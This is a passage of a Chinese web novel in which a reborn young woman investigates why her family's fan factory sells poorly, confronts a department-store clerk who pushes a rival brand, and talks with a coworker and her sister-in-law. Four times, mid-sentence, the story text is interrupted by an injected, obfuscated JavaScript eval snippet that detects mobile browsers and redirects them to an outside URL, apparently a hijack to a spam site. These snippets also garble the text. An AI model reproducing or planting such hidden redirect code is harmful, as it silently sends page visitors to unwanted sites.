得到首肯，张嘉林来到样品区，侃侃而谈，“这是最新款的鸿运扇，圆筒形，机身粗短，灵巧洋气，售价125元一台。它有两个颜色，乳白和浅蓝，适合放在卧室或者书房桌子上，因外形美观，价格实惠，销量稳居第一。” 说完，他指着其中颜值最高的一款，“这款落地扇是咱们厂最贵的产品，主打高端市场，售价295元。一共两种颜色，雪白和亮金，整体线条流畅、质感极佳，销量也很好。” 295一台确实不便宜。 来的路上，许晚柠跟张嘉林简单了解过厂里的薪资情况，普通工人工资在300-450之间，双职工还好，如果全家只有一个人有正式工作，养家压力相当大，大部分不会考虑这么贵的风扇。这款产品潜在客户月收入至少在500以上。 她这边暗自琢磨，张嘉林还在继续，“这两款台扇和落地扇都是老样式，漆面做的哑光烤漆，在质感上不如新款亮眼显贵。” “因为用料足，机身略显笨重，价格比新款便宜不了多少，再加上同价位竞品较多，百货大楼和市供销社都不爱拿货，所以库存这两款剩的最多。” 许晚柠走过去，轻轻拍了拍老款落地扇的机身，像是跟老伙计打了个招呼，“我家客厅用的跟这款有点像，用了得有十年了吧，从来没坏过。” “咱们厂的产品质量一直很好。”钱叔笑着说，“你家那款我知道，是基础版本，这款在外形和功能方面做了升级，质量更好更耐用。” 张嘉林点头表示认同，“除了这四款，库存还剩两款吊扇，一款家用，一款工程上用，除了价格上有区别，外观样式都差不多。” “嗯，”许晚柠应了一声，“帮我试机，一个一个来。” “好。” 等她挨个试过，又过了半个小时。 库房里闷热，许晚柠抬手擦擦额头上的汗，“新款噪音较小，和老款区别明显，整体性能做了升级？” 张嘉林眸色微亮，“对，新款风叶更窄更薄，角度做过优化，可以有效降低风噪。另外，轴承、风道一起做了升级。” “功课做的不错。”许晚柠随口夸了一句。 张嘉林嘴角微扬，心情非常愉悦。 了解得差不多，她该走了。 许晚柠跟钱叔礼貌道谢，“钱叔，刚才麻烦您了。” 钱叔摆手，“跟叔客气啥，有啥不清楚的，你再来找我。或者问小张，我看他懂得挺多，你们年轻人多交流。叔老了，跟不上时代了。” 像刚才小张说的话，好多他都没听明白，也不理解柠柠忙活这么半天是为了啥。 不过他这人事少，不懂的从不瞎问。 许晚柠惊讶，“叔，您账目做的清晰明了，仓库管得井井有条，我算是明白我爸为什么派我来您这了，原来是跟您学习来了。” 钱叔一听，脸上的笑容深了几分，“还是你们大学生会说话。” 临走之前，许晚柠指着西南角问道，“对了钱叔，我看那边放着一堆次等品，这些一般怎么处理？” 钱叔小声道，“一般便宜卖给厂里职工，算是员工福利。” 原来如此。 来这的目的达到，许晚柠客气跟钱叔道别，带张嘉林出了库房。 呼吸到新鲜空气，许晚柠神清目明，边走边说，“张同志，我想再请教你几个问题。” 张嘉林连忙上前，“你问。” “新款大部分被市供销社和百货大楼提走，库房积压的大部分是老款。目前老款主要销往哪里？周边县城和乡镇？老款积压这么多，说明竞品优势明显，你知道竞品具体情况吗？” 张嘉林被一连串的问题差点问懵了，好在他记性好，一个个回答，“对，老款主要被县供销社和县城批发商拉走，今年销量确实不如去年。” “我问过临县批发商老板，他说咱们的老款产品，样式老旧，漆面氧化严重，折扣力度不大，在价格上不占优势，卖得不如去年好，他们不敢多拿货。” “同类型的，他们店目前卖得最好的产品有两款，一款是省城电器厂生产的荷花牌鸿运扇，他们厂在省城名气很大，产品质量好，单台价格只比我们贵15块钱。” “另一款是民营小厂生产的长江牌落地扇，外观仿的荷花牌，价格比它低百分之二十，比咱们低百分之十，好多人图便宜买它，所以销量也比我们高。” 两人说着，回到办公楼下。 许晚柠客气道谢，“谢谢你的解答，很有用，改天请你吃饭。” 张嘉林脸微红，摆手，“不用，我是厂里销售，了解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470270|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些是应该的。” 许晚柠莞尔一笑，礼貌道别，“你忙，我先走了。” “等等。”张嘉林不知哪来的勇气叫住她，“许同志，你要去哪儿？” 他尽量让自己表情自然，不让人反感。 “也许我可以帮忙。” - 上午十一点，日光白的晃眼，吹来的风中带着一股燥热。 张嘉林骑着自行车，许晚柠坐在后座，单手抓住铁架稳定身形。 沿街招牌掠过眼底，五金交电、照相馆、副食品店等等，红底黄字或蓝底白字的铁皮牌，被太阳晒得有些褪色。 大街上，偶尔有人骑着摩托车疾驰而过，发出刺耳的轰鸣声。出租车和私家车很少见，一路上她只见到几辆黄面出租车。 倒是有一辆深灰色帕萨特和他们同路了一小段，最后绝尘而去。 十几分钟后，市供销大厦到了。 许晚柠跳下车，抬头看向这座商业大楼，眼中满是怀念。 米黄外墙，五层高楼在周边一排排平房的衬托下，分外显眼。一层是明亮的玻璃橱窗，门口人流络绎不绝。 来往的行人步履匆匆，车铃声此起彼伏，再往北，是百货大楼和五金交电公司，她看了一眼收回视线。 张嘉林推着车，轻声交代，“许同志，外面热，你先进去吧，我去那边停车。” “那你一会儿直接去家电区找我。” “行。” 许晚柠一进门，感受到一股凉意迎面而来，原来正对门放着一排电风扇，正呼呼地转。 很朴素的降温方式。 她在其中发现两台华荣牌落地扇，心情莫名有些愉悦，从记忆里翻出家电区位置，直接去往三楼。 这时供销大厦还没有手扶电梯，她走的楼梯，抵达三楼后，她先在家电区逛了逛。相比其他楼层，三楼家电区相对冷清，倒是卖电风扇的区域聚了好几位顾客。 她找了一圈，才在犄角旮旯看到他们厂的电风扇，差点气笑了。供销社白拿了他们厂的货不说，居然放在这么偏僻的位置，这是不打算好好卖了？ 怪不得供销社最近拿货不多，原来是被穿小鞋了。她现在只想搞清楚，这到底是售货员私人行为，还是供销社有意为之。 她不动声色地站在柜台旁，假装看产品，实际在听售货员跟顾客卖力推销。 张嘉林拿着两瓶汽水来到三楼，看到许晚柠刚想打个招呼，发现她正津津有味的听售货员卖货。 他想了想，默默走到她旁边，陪她一起听。 此时售货员正唾沫横飞，“大姐，您听我的，要买就买荷花牌落地扇，您别看它比华荣贵个十几块钱，这可是省城来的高端货，国营大厂生产的，质量更好。而且这电机纯铜的，噪音小，用个十年八年都不会坏。” 大姐有些犹豫，“这也太贵了。” “一分钱一分货，夏天这么热，电风扇天天开，您买个小杂牌，用不了几天坏了，到时候您找谁说理去？听我的，买就买荷花牌风扇，省城大厂生产，质量有保障。” 许晚柠见那位大姐快被说动了，深吸一口气，高声道，“同志，麻烦您一下。” “我想看看电风扇。” 5. 怎么，你不愿意？ 听到有人要买风扇，售货员回头，只见一个小姑娘站在不远处，正笑盈盈的看着她。 她瞥了一眼站在她旁边的张嘉林，猜测两人要么是情侣，要么新婚小夫妻。简而言之，比大姐更好成交的意向客户！ 正好她被顾客搞得有点烦了，车轱辘话说了好几遍，这位大姐犹犹豫豫的死活不给个准话。 要是其他顾客，在她连环劝说下，早挨不住买了，可对方愣是不为所动，搞得她都怀疑大姐今天到底买不买。如果不买，她岂不是白费功夫了？ 想到这，她索性撂下大姐，热情地招呼许晚柠，“同志，你想买台扇、鸿运扇，还是落地扇？” 售货员换了目标，大姐也跟着松了口气，总算不逮着她一个人推销了，这人也太能说了，刚才她差点就答应了。 注意到售货员和顾客的目光同时落在她身上，许晚柠下巴微抬，“跟这位大姐一样，也要落地扇，不过我来之前，家里交代过，要华荣牌的。” 一听对方指定要华荣牌，售货员虽然不乐意却并不意外。华荣是他们本地二十多年的老品牌，在市民心中认可度很高。 只可惜返点不高。 她脸上带了歉意，“不好意思，最近天热，电风扇热销，华荣的断货了，要不你看看别的？” 她指着眼前的产品，笑着介绍，“你看这款落地扇怎么样？这是荷花牌最新款，比华荣贵不了多少，质量好，噪音小，省城来的高端货，你瞧瞧，样子多大气，摆在客厅也有面子。” 许晚柠笑着说最任性的话，“抱歉，我不要这款，我只要华荣牌落地扇。没货了，你们可以从其他门市调货，或者去华荣厂进货，我可以等。” 售货员第一次遇见这么死心眼的顾客，居然还安排起她来了，脑袋顿时一片空白，一时不知道该说点什么。 许晚柠挑眉，“怎么，你不愿意？” 这什么态度？售货员气得脸色发青。 因为两人起争执，附近的顾客聚集过来，有的甚至明目张胆地看热闹。 她忍了又忍，憋出一句，“同志，调货没有你想的那么简单。” “是吗？”许晚柠笑容温和，“你把你们经理叫来，我问问他，供销大厦是本市规模最大、东西最全的地方，他想调货，那还不是一句话的事？” 售货员深吸一口气，“经理不在。” 许晚柠无所谓的点头，“行，你说不在就不在吧，我也不为难你，我问你几个问题，请你如实回答。” 不给她拒绝的机会，她直接问，“你这么卖力气给我推荐荷花牌落地扇，其中包括旁边这位一直嫌贵的大姐，是想让我们多花钱？还是省城电器厂给了你什么好处？” “你少胡说八道！” 售货员像是被人踩了痛脚，气得理智全无，完全不顾周围看热闹的人，梗着脖子回怼，“你一个小姑娘怎么这么没礼貌，我不是告诉你了吗？华荣的没货了，不知道什么时候来货，你想买，可以看看别的品牌。” “天这么热，我好心给你推荐款质量好的风扇，拿回家就能用，我们负责送货上门，你可倒好，不分青红皂白冤枉人。我看你不是来买电扇，是来找事的吧？” 许晚柠轻轻鼓掌，“精彩，说的我差点就信了。大家是不是也认为，华荣的断货了，所以买不到？” 周围好事的大妈们纷纷响应。 “是啊！我前两天来这想买华荣的，售货员说没货了，给我推荐的荷花牌，我看没贵多少，加上天热，就买了。” “大妹子，你还真买了？贵十好几块钱呢，还好南城供销社门市部有货，我在那买的。” “我们那边门市部也有货，华荣便宜，质量也好，我们家一直用这个牌子的风扇。” “对对对，我家也用的华荣牌，我来供销大楼也是想再买一台，听说这边型号最全，结果跟我说断货了，到底真的假的？” 谁能相信普通门市部有货，号称东西最全的供销大厦反而没货呢？ 人群中议论纷纷，售货员脸都僵了。 许晚柠余光看见有领导模样的人在往这边赶，不紧不慢的说，“对了，你说华荣牌断货了，为什么厂里没有接到你们要货的电话？甚至连样机都被你们放在家电区一角落灰？” 售货员气得口不择言，“你怎么知道我们没打电话！” 许晚柠从容一笑，“因为我们就是华荣厂的。” 她身旁的张嘉林不自觉地挺了挺胸膛。 没错，他们就是华荣厂的！ 两人一亮身份，售货员莫名激动了，伸手指着他们，咬牙切齿的说，“好啊，我就说你们不是来买风扇的，原来是华荣厂的职工！你刚才说了那么多，不就是嫌我没卖你们厂的货吗？” 像是终于抓住了对方小辫子，售货员气焰逐渐嚣张，“你们华荣厂电风扇就是不如荷花牌的好，我推荐顾客买荷花牌的怎么了？人家可是省城国营厂，有上千职工，你们比得过吗？” 那确实是比不过的。 许晚柠不与她争辩，而是笑眯眯地看向刚刚赶到，穿着灰色短袖衬衫、深色长裤的中年男人。 “您是这的经理？”许晚柠询问，语气却带着肯定。 经理点头，“我姓郝，目前负责三楼，这边发生了什么，是不是有什么误会？” 许晚柠才不信对方什么都不知道，揣着明白装糊涂罢了。她笑容一收，神情严肃，“我们是华荣厂的，今天过来巡查一下产品销售情况，发现我们厂的风扇被放在犄角旮旯落灰。” 她抬手指了指，“这位大姐想要华荣牌落地扇，售货员说没货了，非要给她推销荷花牌的，我气不过，和她争执了几句。当着大家的面，我想问问您，我们华荣牌落地扇真的没货了吗？” 这？ 他没想到对方说话这么直接，周围这么多人围观，如果他回答没货，那为什么不能调其他店的货，或者直接去厂里拉？如果有货，那不是打自家脸吗？毕竟刚才售货员振振有词的说断货了。 郝经理冷汗都快下来了，不过能当上经理，还是有几分急智的，“最近天热，风扇热销，华荣牌是本市老品牌，大家非常认可，买的人多，导致落地扇断货，真是对不住。” 许晚柠笑而不语。 这人有点难搞，郝经理心思急转，看向那位大姐，“不过仓库应该还有几台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470271|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次等品。如果您不介意，我可以做主折价卖给您。您放心，只是机身在搬运过程中，有些细微剐蹭、磕碰，不是什么大毛病，并不影响使用。” 大姐一听，有些激动，小心翼翼的问，“经理，能折多少啊？” 郝经理微笑，“百分之五到百分之十，按落地扇的售价，合算成价格，能便宜15-30元。” 大姐直接点头，“我要一台。” 旁边的售货员气得翻白眼，刚才说破嘴都不买，一听经理说有次等品，还有折扣，立马同意，这都什么事啊？ 当然最可气的还是对面那个小姑娘，年纪轻轻的，这么有手段，真是小看她了。 旁边好几个没定的顾客见状，也跟着嚷嚷，“经理，次等品还有吗，我要一台。” “我也要！” 其他售货员不干了，“大姨，刚刚您都定了，要荷花牌的！”她的返点啊！ 大姨翻了个白眼，“有便宜的不买，买这么贵的？真当大姨家钱大风刮来的啊？” 次等品怎么了，只要能用，那都不是事！更何况最少能便宜十几块钱呢！能去市场割好几斤肉了。 郝经理几句话安抚好真正购买的顾客，让人带走办手续，然后看向许晚柠，“同志，你看这样处理，可以吗？” 许晚柠颔首，“刚才她态度不好，我要一句道歉，不过分吧？” 郝经理还未说话，售货员立刻怼道，“凭什么！” 当着这么多顾客的面，她好好的单子被对方搅黄了，居然还要她道歉？她压根没错，道哪门子歉！ “廖春燕，你闭嘴！” 郝经理语气不耐，要不是因为她行事张扬，招来这尊煞神，他至于拿次等品平事吗？ 廖春燕满脸不可置信，“你居然敢吼我？” 郝经理瞪了她一眼，眼神催促，“快跟这位女同志道歉！” 人群中指指点点，议论纷纷。廖春燕臊得满脸通红，捂着脸跑了。 郝经理一脸歉意，还未说什么，许晚柠抢先一步，“经理，你们售货员的服务意识有待加强啊。” “是是是，回头我肯定批评她，你看这样处理满意吗？”顾及周围还剩下不少看热闹的人，郝经理眼神不耐，强忍着没翻脸。 许晚柠知道现在国营商场服务意识差，向来是看人下菜碟，经理反应快，处理还算得当，索性见好就收。 不过还有最后一个问题，“我们厂生产的电风扇，是不是该换个位置了？” 她指着中间最显眼的地方，“我看这地方不错。” 郝经理嘴角一抽，还真是不客气，为了送走这位煞神，嘴上应得爽快，“当然，我马上让人来换。” 许晚柠满意点头，“因为一点小事耽误您这么长时间，十分抱歉，改天您有时间上我们厂视察，我请您尝尝食堂小炒。” “成，改天一定去。” 闹事的人一走，人群也渐渐散了。 郝经理站在原地，笑容一收，“去看看春燕跑哪去了？” 办事员认命去跑腿，他最讨厌关系户了！经理刚才骂爽了，最后还不是他来哄？ 这都什么事啊？ 6. 小姑娘挺厉害的 临近中午，裴云洲和好友谭斌开车出来吃饭，顺道路过供销大厦。 眼看车就要开过去，谭斌急得嚷嚷，“停车，我下去拿个衣服。” “事儿真多。”裴云洲嘴上嫌弃，还是找了个空地停下。 “够意思！”潭斌嘿嘿一笑，利索下车。 天热，裴云洲不愿闷在车里等，索性陪他一起去。 三楼服装店，谭斌换上白色西装站在穿衣镜前，抬手理理袖口，又顺顺头发，满意的啧了一声，偏头问好友，“怎么样，还不错吧？” “嗯。”裴云洲惜字如金。 “切，我看你是嫉妒我长得比你帅！”谭斌面不改色地睁眼说瞎话，好好欣赏了一下帅气的自己，最后注意到裤子好像有点长。 “师傅，这裤腿是不是长了？” 老师傅抬抬眼镜，往下看，“有点，你脱下来，我给你改一改。” 谭斌去了试衣间换衣服，“师傅，要多久啊？” “几分钟就好。” “那行，我等等。” 服装店不大，裴云洲人高腿长，待着有些憋闷，跟好友打了声招呼，出来透气。 不远处家电区人群聚集，他心下好奇走了过去，正好瞧见许晚柠和销售员起争执的一幕。 他站在外围，看了会热闹，一开始以为对方是一个无理取闹、任性妄为的小姑娘。后来听她质问售货员条理清晰，有理有据，他有些拿不准她到底想要干什么。 等她亮明身份，方才恍然，原来她是华荣厂的职工，这是在替自家产品讨公道？ 有点意思。 “看什么呢，这么专注，叫你好几声都没听见？”谭斌拍了一下好友肩膀，边说边踮脚往里看。 裴云洲双手环胸，随口答道，“看热闹，快结束了。” 闹了这么久，经理姗姗来迟，他有点好奇对方会怎么处理。 看热闹，看什么热闹？ 谭斌来的最晚，眼见好友没有解释的意思，干脆去了人群里，问围观的大妈们。 他嘴甜，一口一个姐，哄得几个大妈唾沫横飞，很快知道了来龙去脉。 他拎着衣袋回来，刚好听见许晚柠趾高气昂地要求售货员给她道歉，直接把对方气跑了。 他下意识地脱口而出，“嘿！这小姑娘可真够厉害的！” 是挺厉害的。 裴云洲眼含欣赏，听到对方要求经理给自家产品最好的位置，嘴角不自觉带了一抹笑意。就连她邀请经理去厂里食堂吃饭，都带着一股朴实。 谭斌瞅了瞅好友，又看了眼许晚柠，忽然想到什么，小心翼翼地问，“云洲，你不会看上人家小姑娘了吧？人家有对象！” 裴云洲脸一黑，“你脑子里都在想什么？”说完，他抬腿就走。 谭斌连忙跟上，“真没看上？那小姑娘长得挺好看的啊，可惜有对象了。”而且找对象的眼光不咋地，他打听得很清楚，男方全程没说一句话，这也太窝囊了。 裴云洲懒得理他。 “哎，你去哪儿？走那么快干嘛？” “吃饭！” - “晚柠，刚才你可真厉害！” 张嘉林眼睛亮晶晶的，随后像是想到什么，递给她一瓶橘子汽水，“差点忘了，这个给你。” “谢谢。”许晚柠接过，咬开瓶盖，喝了一口，齁甜，带气儿，香精味挺重的。 她又喝了一口。 张嘉林献宝一样，眼中满是笑意，“好喝吧？可惜我买的时间有点久，不够冰。” “刚刚好。” 她在深市打拼十几年，饮食不规律，喝冰凉的东西容易胃疼。 忽然她脚步一顿，反应过来，她已经不是那个年近四十，离异独居，因为拼命工作，身体落下很多小毛病的许晚柠。 现在的她，刚刚20岁，年轻、漂亮，是省城大学大三学生，前途光明，拥有无限可能。 健康的身体，又多了二十年阅历，她只会比上辈子过得更好！ 张嘉林见她走着走着突然停了，眼神发愣，很明显在走神。过了一会儿，他轻声问她，“怎么了？” 许晚柠回神，下意识掏兜，摸了个空，“没事，汽水多少钱，我转……咳，我给你。”差点忘了现在还没有支付软件，她也没有手机。 “没多少钱，我请你喝。”他工资不低，一个月基本工资220，每月到手280左右，父母是双职工，他挣得钱都自己拿着，每个月除了花用，还能攒下不少。 许晚柠懒得跟他推来让去，抬手看了眼手表，已经十二点多了，“先找个地方吃饭吧。” 张嘉林以为她接受了自己好意，心下欢喜，“你想吃什么？” 许晚柠走出大厦，日光刺眼，她半眯着双眼，“天这么热，吃点凉的吧，炸酱面？” 张嘉林抬手一指，“我知道一家面馆，他家做的炸酱面特别好吃，就在马路斜对面。” “走！” - 许晚柠吃了满满一大碗炸酱面，汽水也喝光了。 张嘉林眉眼带笑，偷偷看她，也不说话。 “你笑什么？”许晚柠疑惑，摸了摸嘴角，“我脸上有东西？” 张嘉林忙摆手，“没有，只是没有想到你这么瘦，胃口还挺好的。” 许晚柠一脸理所当然，“我才20岁，还在长身体。” 张嘉林憋笑，“对对对，一碗够吗？要不要再来一碗？” 许晚柠无语，她又不是猪，“我吃饱了，你吃吧。上午跟我忙了半天，下午你回厂里？” “你打算去哪儿？”不知为何，他总觉得她还要继续巡查。 “我想去百货大楼和五金交电逛逛，如果时间充裕，再去附近的门市部看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470272|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”许晚柠说出自己的打算。 张嘉林放下筷子，擦擦嘴，“我陪你一起吧？巡查柜台、考察市场也是我们销售的工作范畴。” “你下午没有工作？”许晚柠疑惑，厂里销售这么清闲的吗？不用出去跑业务？ 张嘉林解释，“我在厂里坐班，今天还差个销售报表，我晚上加加班就能做好。” “你吃好了？” “对！” “老板，结账！” - “刚才的饭钱给你。”张嘉林递过来两张一块的。 一碗炸酱面一块五，他饭量大，多点了一个驴肉火烧，花了五毛，一共两块。 许晚柠没接，“你请我喝汽水，我请你吃饭，扯平了。” “这不一样，吃饭花得多。”刚才付账的时候，他坚持要付，结果晚了一步，老板拿着许晚柠的钱扭头就走，压根没给他机会。 “我是不是要把汽水的钱给你？” “那怎么行？说好我请你。” “同样的话送给你。”许晚柠站在阴凉处，有些烦了，“你不是要去还汽水瓶？快去吧，我在这等你。” 张嘉林微微叹了口气，拿着汽水瓶走向马路对面。 等人的时候，许晚柠垂眸在想事情，忽然听到有人一直在喊同志，让人心烦。 她眼神不耐，抬眼看去，只见一辆帕萨特的副驾车窗落了下来，一个年轻男人正笑着跟她招手，“同志，请问建设银行怎么走？” 许晚柠挑眉，这么蹩脚的搭讪方式？ 她心下好笑，仔细回忆了一下，“应该就在前面，百货大楼旁边。” 谭斌笑容加深，“谢谢啊，我还不知道你叫什么呢？” “你不必知道。”许晚柠直接拒绝，跟迎面而来的张嘉林摆手，两人一起向前走去。 “小姑娘还挺拽，近看更漂亮了。” 谭斌摇上车窗，摸摸下巴，“云洲，你说我追她怎么样？我长这么帅，不比刚才那小子强多了？” 裴云洲瞥他一眼，“你可真够无聊的。”随即启动车子。 谭斌凑过去看他面色，被对方一把推开。 “开车呢，离我远点。”裴云洲语气不耐。 “生气了？” 谭斌眉眼带笑，像是发现了什么好玩事，“云洲，你就承认吧，你对那小姑娘绝对有意思，不然刚才你停车干什么？” “不是你让我停车的？”裴云洲反问。 “又赖我身上？成！反正也不知道对方叫什么，保城市这么大，以后见面都难，可惜了，那么好看的小姑娘，再也见不到喽！” 回应他的是一道突如其来的急刹车。 谭斌惯性前倾，被安全带勒得差点中午饭都给吐出来。 “裴云洲！你能不能开慢点！你这是赤裸裸的报复！” “你闭嘴！” 7. 偶遇二嫂 “刚才那人谁啊？你认识？” 路上，张嘉林看着远去的私家车，状似不经意地询问。 “问路的。”一个想搭讪，被她拒绝的陌生人，仅此而已。 不过车上除了他，还有一个人，她只看到对方侧脸，不知为何总觉得有些眼熟，好像在哪见过。 不等她细想，张嘉林出声打断了她的思绪。 “晚柠，刚才你让经理帮咱们厂电风扇换了位置，以后销量是不是就能上去了？” “应该能上去一些，但不会太多。” “为什么？经理不是答应了吗？” “可他没答应换几天啊？而且就算换了位置，售货员也可以不推荐。”这小子看着挺聪明的，怎么连职场最基本的门道都不懂？ “还能这样？”张嘉林震惊，他一直在办公室坐班，没跑过业务，这里面有多少隐形规则，他还没摸清楚。 售货员行为他无法左右，转念一想有了主意，“那等他们撤了位置，咱们是不是可以再找他换回去？” “最好不要。” 见对方疑惑，许晚柠解释，“这次我们来的巧，算是抓住了售货员一个小把柄，经理碍于围观的人多，怕我闹大，所以选择息事宁人。” “他能同意调换位置，已经很给咱们厂面子了，再找他也没用，他有一万个理由推脱。” 张嘉林拳头紧握，“那过几天我们再来，只要他们敢踩着我们厂产品，强推荷花牌电风扇，我们就有理由再找他换回去。” 许晚柠再次体会到带实习生那种无力感，“他现在已经知道我们是华荣厂的，同样的招式再来一次，他还会妥协吗？都是国营单位，对方还是咱们厂的经销商，事闹大了，双方面子上都不好看，没必要。” 这也不行，那也不行。 张嘉林愁得慌，“他们要是再推荷花牌电扇，我们这个月销量怎么办？” 许晚柠很冷静，“按照目前来说，他卖多卖少，对咱们厂有什么影响？或者说直白点，有什么好处吗？” 啊？这他倒是没想过。 张嘉林思考片刻，“有销量，工人们才能加班加点的搞生产，这算是好处吧。”他有些不确定，仅想到这个。 许晚柠没说对还是不对，只问了他三个问题。 “这个月工人忙吗？” “还行，两班倒，不算太忙，我听厂里老人说，以前厂里三班倒都忙不过来。” “你应该知道这个月工资暂时不发？” “是。”上午工人们堵了厂长办公室，他偷听到的。 “既然工人们两班倒，有活干，为什么这个月工资发不了？” “因为供销社只拿货，没结货款。”他好像明白她意思了。 许晚柠给了他一个孺子可教的眼神，“供销社卖多卖少，只要不结货款，对咱们厂没有直接好处，所以不用太在意。” 原来是这样。 “那你刚才为什么让经理给咱们厂换最好的位置？” 有必要吗？因为她一句话，气得经理脸都青了。 许晚柠一脸理所当然，“我们站在那，代表华荣厂，不能瞻前顾后丢了厂子脸面，先把实际能得的好处捞了再说。”不然对方只会更加得寸进尺。 张嘉林如同醍醐灌顶，激动得双手紧握，“你说的对！” 他忍不住夸赞，“你懂得好多，都是在大学学的吗？” “算是吧。” 上辈子，社会这所大学，把她打磨得通透练达。可以说，大学教她知识，社会教她做人，职场令她脱胎换骨，方才成就如今的她。 张嘉林眼底的崇拜毫不掩饰，可谁能想到，她并不是一个单纯的大学生，而是来自二十年后，多了更多阅历的许晚柠呢？ “晚柠，看路。” “好！” - 张嘉林任劳任怨地陪许晚柠跑了一天。 供销大厦，百货大楼，五金交电，市中心附近几个供销社门市部，他们都逛了个遍。 回去的时候，路过一家供销社，这离华荣厂不远，大概五百多米。 许晚柠站在门口，透过玻璃窗，依稀看见里面熙攘的人群，大多买的是生活用品，哪怕电风扇摆在正中最好的位置，咨询的人依旧寥寥无几。 张嘉林推着车子，小声说，“来这边买电扇的人很少，一天也卖不了几台，大部分人更喜欢去市中心购买。” 许晚柠应了一声，“走吧。” “不进去了？” “没什么好看的。” 两人刚要离开，忽然听到有人在喊柠柠，许晚柠下意识转身看去。 许二嫂站在不远处，一脸惊喜，“柠柠，还真是你，我还以为看错了呢。” 看着年轻许多、充满活力的二嫂，许晚柠恍惚了片刻，瞬间恢复正常，脸上不自觉挂上笑容，“二嫂，你怎么在这？阳阳呢？” “你哥下班了，他看孩子，我来给阳阳买罐麦乳精。” 许二嫂看向小姑子旁边的年轻男人，嘴上含笑，“这位是你同学？” “不是，”二嫂这人喜欢刨根问底，许晚柠没有多说，她看向张嘉林，“你不是要回厂里加班？你先去吧，我跟我二嫂回家。” “好。”张嘉林见许晚柠没有介绍的意思，不知道该怎么称呼许二嫂，索性冲她点点头，骑车离开。 见人走了，许二嫂快走几步，和她并肩，脸上带着揶揄，“柠柠，他是谁啊？咱们厂的？我怎么没见过？” “他来厂里还不到一年。” “我说这么优秀的小伙子我怎么没印象，原来是新来的。”自从生完孩子，她没上过班，都一年多没去厂里了。 许晚柠避开二嫂八卦的眼神，赶紧换了个话题，“阳阳现在喝麦乳精？” 许沐阳，她的小侄子，现在应该一岁多还是两岁，她记不太清了。麦乳精这么甜，又没什么营养，喝这个合适吗？ 说起这个，许二嫂忍不住叹气，“我要带孩子还没复工，家里就你哥一个人上班。以前还好，这半年，厂里只发半个月工资，家里吃穿哪样不花钱？我打算先给阳阳断奶，趁着现在是旺季，赶紧回厂里上班。” 许二嫂之前在生产线上工作，一直到快生阳阳才休的产假。许国盛和赵秋红都有工作，家里没人帮她看孩子，她只能自己带。 “你和我哥都工作，阳阳怎么办？” “我打算送他去厂里托儿所，以前舍不得，怕孩子磕了碰了，哭着找妈妈，现在也顾不上了。” 说是这么说，言语间的不舍分外明显。 许晚柠蹙眉，注意到她眼底的黑眼圈，心生怜惜，“二嫂，天这么热，你回车间工作，身体吃得消吗？” “吃不消也得干啊。”许二嫂苦着脸，因为公公是厂长，身份特殊，所以她想换个轻松的岗位都不成，他公公不会同意的。 许晚柠有些想法，在一切还没定下之前，她暂时按下不提，只劝道，“二嫂，工作的事，你别太心急，平日里别只顾着孩子，你也要养好身体。” 一句话说得她险些落泪，许二嫂眼圈通红，抱怨道，“你哥平日里只顾着工作，家里的事他什么都不管，不操心，啥事也指望不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470273|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。” “最近天热，阳阳晚上睡觉不老实，总踢被子，我半夜还得给他盖被子。” “你哥晚上沾枕头就睡着了，呼噜声震天响，天天吵得我睡不着觉，好不容易睡着了，阳阳半夜噩梦惊醒，我还得抱起来哄。” 许二嫂喋喋不休地诉苦，许晚柠安静听着，虽然她上辈子没生养过孩子，不能感同身受，但她经历过婚姻，能听出二嫂的心酸和委屈。 “我回娘家跟我妈说，我妈总说等孩子大一点就好了，可再这么下去，我受不了了啊。” 不知何时，许二嫂已然泪流满面。 两人站在一个僻静的角落，许晚柠思索片刻，神情认真，“二嫂，你要真想摆脱这种生活，也简单。” 许二嫂擦擦眼泪，像是抓住了救命稻草，“柠柠，你是大学生，有见识，帮我想想办法，我实在不知道该怎么办了。” 